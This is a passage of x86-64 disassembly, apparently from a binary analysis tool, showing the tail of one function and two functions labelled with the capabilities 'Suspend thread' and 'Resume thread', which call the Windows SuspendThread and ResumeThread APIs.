mov r8, qword [rbp + 0x30]
call fcn.0043b450
mov rcx, rax
call fcn.0040ea20
nop
lea rcx, [rbp + 0x30]
mov edx, 2
call fcn.0040f8e0
lea rsp, [rbp + 0x40]
pop rbp
ret

Function at 0x525db0
Capabilities:
Suspend thread

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x50], rcx
mov rax, qword [rbp + 0x50]
movzx rax, byte [rax + 0x1b]
mov byte [rbp + 0x3f], al
nop
mov rax, qword [rbp + 0x50]
mov byte [rax + 0x1b], 1
mov rax, qword [rbp + 0x50]
mov rcx, qword [rax + 0x10]
call sub.kernel32.dll_SuspendThread
mov rcx, qword [rbp + 0x50]
test eax, eax
setge dl
call fcn.00524c80
jmp 0x525e0b
lea rsp, [rbp + 0x40]
pop rbp
ret

Function at 0x525e30
Capabilities:
Resume thread

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov rcx, qword [rbx + 0x10]
call sub.kernel32.dll_ResumeThread
mov esi, eax
mov rcx, rbx
test esi, esi
setge dl
call fcn.00524c80
cmp esi, 1
jne 0x525e5a
mov byte [rbx + 0x1b], 0
add rsp, 0x28
pop rbx
pop rsi
ret